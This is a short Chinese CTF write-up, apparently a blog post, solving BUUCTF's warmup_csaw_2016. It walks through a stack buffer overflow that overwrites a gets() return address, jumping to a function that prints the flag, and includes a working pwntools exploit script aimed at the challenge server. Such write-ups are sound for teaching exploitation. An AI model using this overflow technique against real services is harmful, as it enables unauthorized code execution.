Buuctf——warmup_csaw_2016

Buuctf——warmup_csaw_2016

解题过程

  • nc一下得到addr:0x40060d

  • file一下查看文件为64位程序

  • 使用checksec查看当前二进制文件的指令架构以及采取了哪些保护机制。

  • IDA打开文件可以看到main函数中全部是输出,直到return时gets命令给v5赋值,可以发现刚刚输出的一个地址,是sub40060D这个函数的地址,点进去看一下。

  • 发现cat flag.txt,我们只需要在main函数的gets这里产生栈溢出,覆盖掉返回值,就可以执行这个函数获取flag了。

  • v5的长度为0x40,再加上返回地址8个字节,要溢出的的总长度为‘0x40+8’个字节。

exp

from pwn import*
sh=remote('node4.buuoj.cn',25803)
flag_addr=0x40060D
payload=b'a'*(0x40+8)+p64(flag_addr)
sh.sendline(payload)
sh.interactive()
posted @ 2021-10-18 23:54  mu'a  阅读(422)  评论(0编辑  收藏  举报